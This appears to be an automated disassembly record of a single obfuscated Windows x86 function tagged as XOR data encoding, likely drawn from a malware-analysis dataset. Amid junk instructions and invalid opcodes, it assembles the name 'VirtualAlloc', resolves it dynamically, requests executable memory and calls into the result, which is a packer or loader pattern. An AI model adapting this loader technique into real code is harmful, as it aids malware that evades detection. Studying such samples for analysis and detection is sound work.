Function at 0x10095e4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [0x1014f64]
call fcn.01007bc1
push dword [0x10143e4]
xor ebx, ebx
mov dword [0x1014f64], ebx
call fcn.01007bfb
mov ecx, dword [0x10143e4]
lea ecx, [ecx*4 + 0xc]
mov dword [0x1014f64], eax
mov edi, eax
mov eax, ecx
shr ecx, 2
mov esi, 0x10143e0
rep movsd dword es:[edi], dword [esi]
push 3
pop ebp
mov ecx, eax
and ecx, ebp
rep movsb byte es:[edi], byte [esi]
push dword [0x1014f68]
call fcn.01007bc1
push dword [0x10143f4]
mov dword [0x1014f68], ebx
call fcn.01007bfb
mov ecx, dword [0x10143f4]
lea ecx, [ecx*4 + 0xc]
mov dword [0x1014f68], eax
mov edi, eax
mov eax, ecx
shr ecx, 2
mov esi, 0x10143f0
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, ebp
rep movsb byte es:[edi], byte [esi]
push dword [0x1014f6c]
call fcn.01007bc1
push dword [0x1014404]
mov dword [0x1014f6c], ebx
call fcn.01007bfb
mov ecx, dword [0x1014404]
lea ecx, [ecx*4 + 0xc]
mov dword [0x1014f6c], eax
mov edi, eax
mov eax, ecx
shr ecx, 2
mov esi, 0x1014400
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, ebp
rep movsb byte es:[edi], byte [esi]
push dword [0x1014f70]
call fcn.01007bc1
push dword [0x1014414]
mov dword [0x1014f70], ebx
call fcn.01007bfb
mov ecx, dword [0x1014414]
lea ecx, [ecx*4 + 0xc]
mov dword [0x1014f70], eax
mov edi, eax
mov eax, ecx
shr ecx, 2
mov esi, 0x1014410
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, ebp
rep movsb byte es:[edi], byte [esi]
push dword [0x1014f74]
call fcn.01007bc1
push dword [0x1014424]
mov dword [0x1014f74], ebx
call fcn.01007bfb
mov ecx, dword [0x1014424]
mov dword [0x1014f74], eax
lea ecx, [ecx*4 + 0xc]
mov esi, 0x1014420
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, ebp
rep movsb byte es:[edi], byte [esi]
call fcn.01007c26
mov dword [0x1014fa0], eax
push dword [eax]
call fcn.01007bc1
mov eax, dword [0x1014fa0]
mov dword [eax], ebx
push dword [0x101448c]
call fcn.01007bfb
mov ecx, dword [0x1014fa0]
mov dword [ecx], eax
mov ecx, dword [0x101448c]
mov eax, dword [0x1014fa0]
mov edi, dword [eax]
lea ecx, [ecx*4 + 0xc]
mov eax, ecx
shr ecx, 2
mov esi, 0x1014488
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, ebp
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x1014fa0]
push dword [eax + 4]
call fcn.01007bc1
mov eax, dword [0x1014fa0]
mov dword [eax + 4], ebx
push dword [0x101449c]
call fcn.01007bfb
mov ecx, dword [0x1014fa0]
mov dword [ecx + 4], eax
mov ecx, dword [0x101449c]
mov eax, dword [0x1014fa0]
mov edi, dword [eax + 4]
lea ecx, [ecx*4 + 0xc]
mov eax, ecx
shr ecx, 2
mov esi, 0x1014498
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, ebp
rep movsb byte es:[edi], byte [esi]
call fcn.01007c26
mov dword [0x1014f94], eax
push dword [eax]
call fcn.01007bc1
mov eax, dword [0x1014f94]
mov dword [eax], ebx
push dword [0x10144ac]
call fcn.01007bfb
mov ecx, dword [0x1014f94]
mov dword [ecx], eax
mov ecx, dword [0x10144ac]
mov eax, dword [0x1014f94]
mov edi, dword [eax]
lea ecx, [ecx*4 + 0xc]
mov eax, ecx
shr ecx, 2
mov esi, 0x10144a8
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, ebp
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x1014f94]
push dword [eax + 4]
call fcn.01007bc1
mov eax, dword [0x1014f94]
mov dword [eax + 4], ebx
push dword [0x10144bc]
call fcn.01007bfb
mov ecx, dword [0x1014f94]
mov dword [ecx + 4], eax
mov ecx, dword [0x10144bc]
mov eax, dword [0x1014f94]
lea ecx, [ecx*4 + 0xc]
mov esi, 0x10144b8
mov edi, dword [eax + 4]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, ebp
rep movsb byte es:[edi], byte [esi]
call fcn.01007c26
mov dword [0x1014f90], eax
push dword [eax]
call fcn.01007bc1
mov eax, dword [0x1014f90]
mov dword [eax], ebx
push dword [0x10144cc]
call fcn.01007bfb
mov ecx, dword [0x1014f90]
mov dword [ecx], eax
mov ecx, dword [0x10144cc]
mov eax, dword [0x1014f90]
mov edi, dword [eax]
lea ecx, [ecx*4 + 0xc]
mov eax, ecx
shr ecx, 2
mov esi, 0x10144c8
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, ebp
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x1014f90]
push dword [eax + 4]
call fcn.01007bc1
mov eax, dword [0x1014f90]
mov dword [eax + 4], ebx
push dword [0x10144dc]
call fcn.01007bfb
mov ecx, dword [0x1014f90]
mov dword [ecx + 4], eax
mov ecx, dword [0x10144dc]
mov eax, dword [0x1014f90]
mov edi, dword [eax + 4]
lea ecx, [ecx*4 + 0xc]
mov eax, ecx
shr ecx, 2
mov esi, 0x10144d8
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, ebp
rep movsb byte es:[edi], byte [esi]
call fcn.01007c26
mov dword [0x1014f84], eax
push dword [eax]
call fcn.01007bc1
mov eax, dword [0x1014f84]
mov dword [eax], ebx
push dword [0x10144ec]
call fcn.01007bfb
mov ecx, dword [0x1014f84]
mov dword [ecx], eax
mov ecx, dword [0x10144ec]
mov eax, dword [0x1014f84]
mov edi, dword [eax]
lea ecx, [ecx*4 + 0xc]
mov eax, ecx
shr ecx, 2
mov esi, 0x10144e8
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, ebp
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x1014f84]
push dword [eax + 4]
call fcn.01007bc1
call fcn.010127c2
mov ecx, edx
inc edi
xor eax, edx
call fcn.01001a01
ror esi, 4
mov esi, eax
test ecx, 0x3805a31
jb 0x10099b4
and esi, edi
dec esi
test eax, eax
jo 0x10099ea
or esi, edi
neg eax
not eax
sub edx, dword [0x1014478]
test ebp, edi
jo 0x10099b1
or esi, edi
inc eax
mov esi, 0x1997b6d4
and esi, edi
sub edi, esi
xchg edx, eax
mov edi, dword [0x1014834]
mov dword [0x1014106], ebx
xchg esi, eax
test eax, esi
jb 0x10099cd
xchg edi, eax
sbb dword [ecx], esp
invalid
mov ecx, eax
xor edi, esp
inc esi
dec esi
rol esi, 0xf
mov esi, eax
and esi, edi
xchg edx, eax
rol ecx, 0x1e
mov ebx, eax
or esi, edi
mov edx, esi
or edx, dword [0x1014426]
xchg esi, esi
xor esi, eax
xor esi, eax
or esi, edi
shr eax, 0xd
xor edx, 0x8a2cf24
dec ebx
xchg edx, eax
mov ebx, dword [0x1014140]
call fcn.010020a7
mov esi, eax
shr esi, 0x18
and esi, 0x1c731660
mov edi, eax
rol esi, 1
add esi, ecx
not esi
mov esi, eax
rol esi, 0x19
and esi, 0xd1792d6
mov ecx, 0x20bba68a
div byte [ebx]
invalid
rol esi, 0x1f
shl esi, 0xd
neg eax
inc esi
xor dword [0x10146c0], 0x1f4ae038
add dword [eax], edi
loopne 0x1009a88
pop ds
or esi, dword [0x10140c8]
inc edx
shr eax, 0x1e
neg esi
mov edi, dword [0x1014120]
shr esi, 6
rol edi, 0x15
call fcn.010127c2
xor dword [0x1014050], 0x3c0867
loop 0x1009a2c
ror eax, 0x10
or esi, edi
xor edx, dword [0x101488f]
and esi, edi
xor ecx, edx
mov edi, esi
mov eax, 0x4614d98
inc edi
xor esi, eax
rol eax, 0xa
mov ecx, 0x2085609
add al, byte [esi - 0x3f]
out dx, al
xadd edi, eax
adc dword [ecx + 0x147080d], eax
add edx, edi
popal
leave
add byte [eax - 0x7b], al
jmp 0xe4c23611
inc esi
shr esi, 0xf
rol edi, 0x11
or dword [0x1014708], 0xc961fa
inc eax
test ecx, ebp
jo 0x1009a3a
shl ebx, 0x1c
sub dword [0x1014400], 0x165b0b4a
xor esi, dword [0x101412c]
dec esi
mov dword [0x101438a], ecx
call fcn.01001508
loop 0x1009a89
xor esi, 0x3b133c0
mov esi, edx
not eax
or dword [0x10146ca], ebx
sbb eax, 0x10146ca
add edi, esi
rol byte [ecx - 0x6e12b70d], 1
add cl, byte [eax + 9]
inc cl
leave
push ss
not eax
xor ebx, 0x291ed48
dec eax
or esi, edi
ror ecx, 0x16
mov ebx, ecx
mov edi, eax
rol edx, 0x1f
not esi
xor esi, 0x25e999f0
or esi, dword [0x10148ed]
test eax, 0xa0b7c80
jo 0x1009a88
rol ebx, 0x1e
add esi, 0xea2ca2c
mov esi, eax
mov eax, eax
test ecx, 0x181cf21e
sal bh, 0xc1
push ds
sbb al, 0x18
jo 0x1009acb
mov ecx, 0x2464e84a
mov dword [0x101426c], ecx
call fcn.010127c2
test esi, edx
jo 0x1009acf
stosd dword es:[edi], eax
shr esi, 0x10
ror esi, 1
call fcn.010127c2
mov dword [0x1014501], edx
xor dword [0x10144d4], ecx
inc esi
neg eax
inc esi
call fcn.01001a01
rol eax, 0xa
loop 0x1009b15
sub esi, edx
mov esi, eax
not ecx
test ecx, ecx
jo 0x1009b23
and esi, edi
add edx, ebp
not esi
mov ecx, edi
test eax, esp
jo 0x1009b07
ror esi, 0x13
xchg eax, esi
call fcn.010072f9
mov ebx, dword [0x1014472]
dec eax
and ebx, 0x30cb5230
call fcn.0100280c
xor eax, edi
mov ecx, esp
test ecx, edx
jo 0x1009bb3
mov eax, 0x39d0ad8
add edi, ebx
shl esi, 7
mov esi, esp
or esi, edi
inc eax
dec esi
add edi, edi
and eax, eax
inc eax
mov ecx, 0x526d301
xor dword [0x1014437], 0xbfff41e
inc esi
and dword [0x101405e], 0x120f70e6
xchg edx, esi
inc esi
jo 0x1009bc0
adc al, byte [edi - 0x97ab90e]
inc esi
test esi, esi
jb 0x1009b3e
neg esi
test eax, esi
jo 0x1009baf
loop 0x1009b9d
fsubr qword [eax - 0x2c]
xor dword [ecx], eax
add ecx, eax
ror byte [esi], 0x33
ror byte [esi + 0x33], 1
fld st(1)
rcr dword [0x513605c7], 1
add dword [ecx], esi
std
and eax, dword [ecx + 0x153282d]
add eax, esp
sbb edi, dword [eax + 0x6c3d0303]
inc esp
add dword [ecx], eax
push 0x10131d4
rol eax, 0xe
xor edx, eax
dec esi
xor ebx, ecx
rol ecx, 0x1d
mov dword [0x1015136], 0x23fd2631
sub dword [0x1015328], 0x3b81be0
add edi, dword [0x101446c]
xor esi, edx
dec ecx
sub edx, dword [0x1014992]
mov dword [0x101562a], 0x5a086d8
rol esi, 4
sub ebx, dword [0x1014095]
xor ebx, dword [0x101482f]
rol esi, 0x13
call fcn.010127c2
xor edi, esp
mov dword [0x1015192], 0x20a2c3d8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x1015319], ecx
xchg eax, eax
mov dword [0x10150b2], esi
sub esi, eax
sub dword [0x1015696], ebx
add ecx, dword [0x1015f0e]
neg esi
xor dword [0x101564e], 0x2eee0fe2
mov dword [0x101577b], ebx
xor esi, eax
rol esi, 0x1c
xor ecx, dword [0x1015bfa]
ror edi, 0x14
sub edi, dword [0x1015f3a]
ror eax, 0x11
xor edi, esi
ror eax, 0x1e
add dword [0x10154fc], ebx
not eax
call fcn.010072f9
sub esi, eax
xor ecx, edi
xor ecx, edi
add esi, eax
call fcn.01003fba
not eax
and dword [0x1015503], edi
rol eax, 0x1e
xor edi, esi
rol eax, 0x11
rol edi, 0x14
ror esi, 0x1c
xor esi, eax
add dword [0x10152da], ebx
neg esi
or dword [0x10157c5], ebx
add esi, eax
mov dword [0x10150de], ecx
xchg eax, eax
mov dword [0x1015252], edx
push 0
and dword [0x10154f6], 0x3c3fe40
xor ecx, 0x3a25ed45
xor ecx, dword [0x1015b0c]
xor ebx, dword [0x1015bcc]
xor esi, eax
add ecx, eax
sub esi, dword [0x1015987]
mov dword [0x1015126], edx
sub ecx, dword [0x1015fa1]
xor edx, eax
xor esi, eax
call fcn.010060c0
add ecx, 0x11f21dc
inc eax
mov dword [0x1015544], edx
sub edi, dword [0x1015faf]
xor dword [0x10154ba], 0x4f785bf
add ecx, ebp
sub ecx, ebp
sub dword [0x10154d8], ecx
dec eax
sub ecx, 0x11f21dc
call fcn.01004134
xor esi, eax
xor edx, eax
mov dword [0x10156e0], ecx
sub ecx, eax
xor esi, eax
xor ecx, 0x3a25ed45
xor dword [0x101553e], 0x17850910
push 0x636f6c6c
xor eax, ebx
inc esi
mov dword [0x1015218], ecx
xor edi, edx
sub esi, dword [0x1015900]
not eax
ror esi, 8
xchg esi, eax
not esi
sub dword [0x1015208], edi
sub dword [0x10155d5], ebx
ror edx, 0xc
dec edx
not esi
inc esi
rol eax, 0x1e
xor edi, ebx
rol edx, 0xa
sub esi, 0x13e9181c
add esi, 0x13e9181c
ror edx, 0xa
xor edi, ebx
ror eax, 0x1e
dec esi
not esi
inc edx
rol edx, 0xc
sub dword [0x1015112], edi
not esi
xchg esi, eax
rol esi, 8
not eax
xor edi, edx
mov dword [0x10156a9], ecx
dec esi
xor eax, ebx
push 0x416c6175
ror esi, 9
xor eax, esi
inc esi
xor ecx, dword [0x1015eab]
call fcn.01008f0a
xor esi, eax
add ecx, dword [0x1015c2c]
inc esi
ror ecx, 0x1a
mov dword [0x10152eb], edx
xchg edx, edx
xor ecx, esi
or dword [0x10150f2], ecx
dec ebx
and dword [0x10154bb], 0x1db2258f
xor ebx, dword [0x1015a8d]
inc eax
add dword [0x1015310], edi
xor dword [0x1015522], edx
dec eax
inc ebx
xor ecx, esi
xchg edx, edx
rol ecx, 0x1a
dec esi
xor esi, eax
call fcn.0100660c
dec esi
xor eax, esi
rol esi, 9
push 0x74726956
xor edx, edi
call fcn.010072f9
mov dword [0x101556c], 0x396ebb
xor ecx, dword [0x1015f44]
xor eax, 0x7a480f7
mov dword [0x10155f6], edi
xor esi, eax
xchg ebx, esi
or dword [0x1015666], 0x190584a0
sub esi, edi
add esi, edi
mov dword [0x10153cd], 0x19cf5f38
xchg ebx, esi
xor esi, eax
xor eax, 0x7a480f7
xor dword [0x1015154], 0x140069f4
xor edx, edi
push esp
ror esi, 1
or dword [0x1015200], edx
add esi, 0x1ebe578
xor edi, ebx
call fcn.01001f50
dec edi
ror edx, 0x15
mov dword [0x101547a], ebx
xor ecx, 0x15730c41
xor edx, dword [0x1015e6c]
xor edi, edx
mov dword [0x1015348], edx
sub dword [0x1015031], edi
xor edi, edx
xor ecx, 0x15730c41
mov dword [0x101519e], ecx
rol edx, 0x15
inc edi
xor edi, ebx
sub esi, 0x1ebe578
rol esi, 1
push eax
rol ebx, 0x15
call fcn.0100565a
ror esi, 0x1b
xor eax, 0x32117a06
and dword [0x10154aa], edx
or dword [0x1015609], 0x81856e
rol esi, 0x13
xchg edx, esi
call fcn.01003afb
xchg esi, esi
rol esi, 0x19
call fcn.0100565a
sub ecx, dword [0x1015c16]
xchg eax, eax
dec esi
inc esi
xchg eax, eax
call fcn.01004458
ror esi, 0x19
xchg esi, esi
call fcn.01001508
xchg edx, esi
ror esi, 0x13
xor dword [0x1015412], esi
xor eax, 0x32117a06
rol esi, 0x1b
call fcn.01005290
ror ebx, 0x15
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, eax
call fcn.01007fa0
dec esi
neg edx
sub eax, 0x1cb4d1ef
xor esi, esp
xor esi, dword [0x1015f04]
ror edi, 6
xchg eax, eax
call fcn.010050f9
sub ecx, dword [0x1015b7c]
neg eax
neg eax
call fcn.010076a5
xchg eax, eax
rol edi, 6
xor esi, esp
add eax, 0x1cb4d1ef
neg edx
inc esi
call fcn.0100660c
xor ebx, eax
add esp, 0x10
call fcn.010050f9
xor edx, esi
rol esi, 0x1e
sub edx, 0x9d4b680
xor esi, edi
call fcn.01007c4b
dec ecx
add ebx, dword [0x1015d1e]
or dword [0x1015317], edx
inc esi
sub dword [0x1015592], 0x56a6501
add eax, 0x1ae9e2c
dec edx
mov dword [0x10151a2], esi
xor dword [0x10156a8], edx
xchg eax, eax
xchg eax, eax
xor dword [0x1015592], edi
xor dword [0x1015662], ecx
inc edx
sub eax, 0x1ae9e2c
xor dword [0x10156fc], 0x17e5395b
dec esi
or dword [0x101518e], ecx
inc ecx
call fcn.01001508
xor esi, edi
add edx, 0x9d4b680
ror esi, 0x1e
xor edx, esi
call fcn.01001508
push 0x40
inc esi
sub edi, ecx
mov dword [0x10154c9], 0x134f3d06
add eax, esp
call fcn.01001a01
dec ecx
xor esi, eax
sub edx, dword [0x1015bc6]
sub dword [0x101555e], ecx
dec esi
xor dword [0x1015359], ecx
sub ebx, dword [0x1015d91]
not esi
not esi
xor dword [0x1015785], edx
inc esi
sub dword [0x10153fe], ebx
xor esi, eax
inc ecx
sub eax, esp
mov dword [0x10156d4], 0xa737102
add edi, ecx
dec esi
push 0x3000
or dword [0x10151ac], 0xb1cbf1
ror eax, 1
neg ecx
sub ecx, dword [0x1015a1d]
rol esi, 0x10
or dword [0x10152ea], edx
neg esi
sub eax, ebx
xor esi, esp
xor edi, dword [0x1015c75]
xor esi, esp
add eax, ebx
neg esi
xor dword [0x1015236], edi
ror esi, 0x10
neg ecx
rol eax, 1
mov dword [0x1015422], 0x15a87df4
push 0x602
xor eax, edi
not esi
mov dword [0x10152fb], 0x38cb40
dec ebx
ror eax, 1
sub eax, 0xbc8a16c
ror eax, 2
sub edi, dword [0x1015c11]
xor dword [0x1015288], 0xd6b6a31
neg ecx
xor ebx, esp
not esi
call fcn.010020a7
sub esi, esp
not esi
call fcn.01001508
xor ecx, edx
xor ecx, edx
not esi
add esi, esp
not esi
xor ebx, esp
neg ecx
and dword [0x101542e], 0x3ad4a08
rol eax, 2
add eax, 0xbc8a16c
rol eax, 1
inc ebx
or dword [0x10153c6], 0x25b1da0b
not esi
xor eax, edi
push 0
neg eax
xchg esi, eax
not esi
xor esi, eax
not esi
add esi, edx
xor edx, dword [0x1015860]
xor ecx, esp
neg eax
inc edi
call fcn.01007887
or dword [0x1015440], 0xc93bf49
sub esi, dword [0x1015daa]
mov dword [0x10157f8], 0x12750596
call fcn.010050f9
dec edi
neg eax
xor ecx, esp
sub esi, edx
not esi
xor esi, eax
not esi
xchg esi, eax
neg eax
call eax
xor esi, eax
sub esi, eax
xor esi, eax
call fcn.01004134
mov dword [0x1015552], 0x6b985c0
xor esi, eax
or dword [0x10154ec], 0xf39b37c
sub esi, eax
call fcn.0100436b
xor esi, dword [0x1015fab]
xor ecx, ebx
not eax
call fcn.01008537
mov dword [0x10152f8], 0x14d0f6f
ror eax, 0xf
rol eax, 0xf
and dword [0x1015304], 0x539be70
call fcn.0100436b
not eax
xor ecx, ebx
add esi, eax
xor esi, eax
sub dword [0x1015279], 0xa9a2d8
xor esi, eax
add esi, eax
xor esi, eax
call fcn.0100a1f3